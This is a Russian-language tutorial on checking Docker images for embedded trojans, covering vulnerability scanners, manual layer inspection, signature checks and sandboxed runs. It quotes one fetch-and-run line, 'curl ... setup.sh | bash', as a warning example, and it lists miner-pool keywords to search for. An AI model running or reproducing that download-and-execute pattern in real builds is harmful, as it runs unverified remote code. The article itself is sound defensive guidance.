Вы нашли в интересный образ на Docker Hub — с миллионом загрузок, свежим обновлением и кучей звёзд. Вроде всё красиво. Но перед тем как запустить его у себя на сервере или в CI/CD, стоит задать себе один вопрос: а что внутри на самом деле? Потому что один заражённый образ может обойтись дороже, чем месяцы разработки. В этой статье я расскажу, как реально проверять образы на встроенные трояны и другую заразу — без теории и воды, только практика.
- Почему вообще нужно проверять
- Шаг 1. Смотрим, кто опубликовал образ
- Шаг 2. Изучаем Dockerfile и исходники
- Шаг 3. Сканируем на уязвимости
- Основные инструменты сканирования
- Шаг 4. Ищем вредоносный код и бэкдоры
- Инспекция слоёв вручную
- Автоматический поиск секретов
- Шаг 5. Проверяем контрольные суммы и подписи
- Шаг 6. Анализ в изолированной среде
- Частые ошибки при проверке
- Что делать в зависимости от вашей ситуации
- Как лучше сделать: чек-лист
- Итог
Почему вообще нужно проверять
Docker-образ — это не просто файл. Это целая файловая система с бинарниками, скриптами, библиотеками и, потенциально, чем угодно. Когда вы делаете docker pull и docker run, вы запускаете код от неизвестно кого прямо у себя в окружении.
Основные риски:
- Известные уязвимости — устаревшие версии библиотек с CVE, через которые можно получить доступ к системе.
- Вредоносные слои — злоумышленник добавил бэкдор или майнер прямо в Dockerfile или в один из слоёв.
- Подмена образа — злоумышленник загрузил образ с похожим названием (typosquatting), надеясь, что вы не заметите разницу.
- Скомпрометированный билд-пайплайн — даже у легитимного проекта могли взять учётку и протолкнуть вредоносный коммит.
Звучит угрожающе, но на практике всё решается комбинацией из нескольких проверок. Разберём по порядку.
Шаг 1. Смотрим, кто опубликовал образ
Первое, на что смотрим — это источник. Это не стопроцентная защита, но отсекает львиную долю проблем.
- Официальные образы (Verified Publisher или Official Image на Docker Hub) — лучшее, что можно найти. Их поддерживают сами проекты или Docker.
- Организации с историей — если образ от компании, которую вы знаете, и у неё десятки других проектов — это лучше, чем от аккаунта, созданного вчера.
- Неизвестные пользователи — красный флаг. Особенно если у них один-два образа и нет никакой активности.
Проверьте дату последнего обновления, количество загрузок, есть ли ссылка на репозиторий с исходниками. Если ссылка ведёт в пустой или мёртвый репозиторий — задумайтесь.
Шаг 2. Изучаем Dockerfile и исходники
Если образ открытый, самое логичное — посмотреть, из чего он собран. Идём в репозиторий (обычно GitHub или GitLab) и открываем Dockerfile.
На что обращаем внимание:
- Базовый образ — от чего наследуется? Если это какой-то малоизвестный образ вместо
node:18-alpineилиpython:3.12-slim, уже повод насторожиться. - Что устанавливается — есть ли
apt-get installилиpip installчего-то неочевидного? Сторонние пакеты без указания версий — плохой знак. - Скрипты при запуске — что делает
CMDилиENTRYPOINT? Если при старте скачивается что-то из интернета и сразу выполняется — это классический паттерн заражения. - Необъяснимые слои — добавляются файлы, которые не нужны для работы приложения? Например, бинарник с непонятным именем в
/tmp.
Реальный пример: однажды я видел образ, где в одном из слоёв добавлялся curl -s http://some-domain.com/setup.sh | bash прямо в Dockerfile. Никакой проверки контрольной суммы, никакой фиксации версий. Это прямая дорога к трояну — если домен будет перехвачен или уже принадлежит злоумышленнику, ваш контейнер выполнит чужой код при каждом запуске.
Шаг 3. Сканируем на уязвимости
Теперь переходим к автоматической проверке. Есть несколько инструментов, которые просматривают слои образа и ищут известные уязвимости в пакетах и библиотеках.
Основные инструменты сканирования
| Инструмент | Что делает | Когда использовать |
|---|---|---|
| Trivy | Сканирует образы, файловые системы, Git-репозитории. Ищет CVE, секреты, неправильные конфиги. | Универсальный выбор. Подходит для локальной проверки и в CI/CD. |
| Grype | Сканер от Anchore. Сверяет пакеты в образе с базами уязвимостей. | Хорошо работает в связке с Syft (анализ SBOM). |
| Docker Scout | Встроенный инструмент Docker. Показывает CVE и рекомендации. | Если вы уже используете Docker Desktop или Docker Hub. |
| Snyk | Коммерческий инструмент с бесплатным тарифом. Сканирует образы и Dockerfile. | Для команд, которым нужен более широкий контекст и интеграции. |
Пример запуска Trivy — самый простой вариант:
- Установите Trivy (через
brew install trivy,apt install trivyили скачайте бинарник с GitHub). - Запустите
trivy image myimage:latest. - Посмотрите на количество найденных уязвимостей по уровням критичности.
Если в образе 100+ критических CVE — это не обязательно троян, но это образ, который точно не стоит запускать в production без серьёзной доработки.
Шаг 4. Ищем вредоносный код и бэкдоры
Сканеры уязвимостей не найдут специально внедрённый троян — он не является «уязвимостью» в классическом смысле. Для этого нужен другой подход.
Инспекция слоёв вручную
Docker-образ состоит из слоёв, и каждый слой можно «распаковать» и посмотреть. Самый простой способ — использовать docker save для экспорта образа в tar-архив, а затем извлечь его:
docker save myimage:latest -o myimage.tartar -xf myimage.tar- Внутри будут папки с хешами слоёв — в каждой лежит
layer.tar. - Извлекайте слои по одному и смотрите содержимое:
tar -xf layer.tar && find . -type f.
Ищите подозрительное:
- Бинарники в
/tmp,/var/tmp,/dev/shm— сюда часто прячут исполняемые файлы. - Скрипты, которые при запуске устанавливают соединение с внешним сервером (reverse shell, C2-клиент).
- Модифицированные системные файлы — например, подменённый
sshdилиbash. - Криптомайнеры — ищите строки с упоминанием
stratum,xmr,pool.minexmr.comи подобными.
Автоматический поиск секретов
Часто в образах забывают токены, пароли, приватные ключи. Это не троян, но не менее опасно. Используйте:
- Trivy с флагом
--scanners secret— найдёт API-ключи и токены в слоях. - GitLeaks — если исходники образа доступны в Git.
- TruffleHog — глубокий поиск секретов в файлах и истории Git.
Шаг 5. Проверяем контрольные суммы и подписи
Docker Content Trust (DCT) позволяет подписывать образы, и при включённом режиме Docker будет проверять подпись перед загрузкой.
Включите проверку подписей:
- Установите переменную окружения:
export DOCKER_CONTENT_TRUST=1 - Теперь при
docker pullDocker проверит, что образ подписан доверенным издателем. - Если подпись отсутствует или не валидна — загрузка не произойдёт.
Минус — не все образы подписаны. Но если подписан, это серьёзный плюс к доверию.
Также можно самостоятельно сверить хеш образа: docker images --no-trunc --format "{{.Repository}}:{{.Tag}} {{.Digest}}" и сравнить с тем, что указано в репозитории или у издателя.
Шаг 6. Анализ в изолированной среде
Если образ вызывает сомнения, но вы всё же хотите посмотреть, что он делает — запускайте его в песочнице.
- Отдельная виртуальная машина или изолированный Docker-хост без доступа к вашей основной сети.
- Запустите контейнер с ограниченными привилегиями:
docker run --read-only --cap-drop=ALL --network=none myimage:latest - Наблюдайте за поведением: какие процессы запускаются, какие файлы создаются, есть ли сетевые соединения.
- Используйте
docker diff container_idдля просмотра изменённых файлов.
Для более глубокого анализа можно использовать инструменты вроде Sysdig Falco или Tracee — они отслеживают системные вызовы и покажут, если контейнер пытается сделать что-то подозрительное.
Частые ошибки при проверке
- Проверяю, но не ограничиваю при запуске — даже «чистый» образ нужно запускать с минимальными привилегиями. Без
--cap-drop=ALL, безмонтирования/var/run/docker.sock, без--privileged. - Смотрю только на количество звёзд — звёзды на Docker Hub легко накрутить. Это не показатель безопасности.
- Не проверяю базовый образ — даже если ваш Dockerfile идеален, уязвимость может быть в базовом образе. Сканируйте всё дерево зависимостей.
- Один раз проверил и забыл — уязвимости находятся каждый день. Если вы используете образ в долгосрочном проекте, настройте регулярное пересканирование.
- Запускаю latest в production — всегда фиксируйте конкретный тег или хеш.
latestможет измениться в любой момент.
Что делать в зависимости от вашей ситуации
Если вы разработчик и собираете образы сами: используйте многоступенчатые сборки (multi-stage builds), минимизируйте количество слоёв, фиксируйте версии всех зависимостей, сканируйте образы в CI/CD пайплайне. Trivy или Grype легко интегрируются в GitHub Actions, GitLab CI, Jenkins.
Если вы берёте готовые образы из интернета: отдавайте предпочтение официальным образам или проверенным издателям. Всегда проверяйте Dockerfile, сканируйте образ, запускайте с минимальными привилегиями.
Если вы отвечаете за безопасность в компании: настройте приватный Docker Registry с автоматическим сканированием всех загружаемых образов. Блокируйте запуск образов с критическими CVE через политики (OPA, Kyverno, Docker Scout).
Как лучше сделать: чек-лист
- Проверьте издателя образа — официальный ли, есть ли история, ссылка на исходники.
- Изучите Dockerfile — нет ли подозрительных команд, загрузок из интернета, необъяснимых файлов.
- Просканируйте образ через Trivy, Grype или Docker Scout — оцените количество и критичность CVE.
- Включите проверку секретов — не забыты ли токены и пароли в слоях.
- Включите Docker Content Trust для проверки подписей.
- Запускайте контейнер с минимальными привилегиями:
--cap-drop=ALL,--read-only, без--privileged. - Настройте регулярное пересканирование, если образ используется долго.
Итог
Проверка Docker-образа на трояны — это не одна магическая команда, а комбинация шагов: проверка источника, анализ Dockerfile, автоматическое сканирование на уязвимости и секреты, проверка подписей, запуск с ограниченными привилегиями. Не все шаги нужно делать каждый раз — для официальных образов от доверенных издателей достаточно сканирования и правильного запуска. Но если образ неизвестный или критически важен — лучше перестраховаться и пройти все этапы.
Начните с малого: установите Trivy и просканируйте все образы, которые сейчас крутятся у вас на серверах. Вы удивитесь, сколько из них тянут за собой сотни уязвимостей. Это и будет первый шаг к тому, чтобы спать спокойнее.
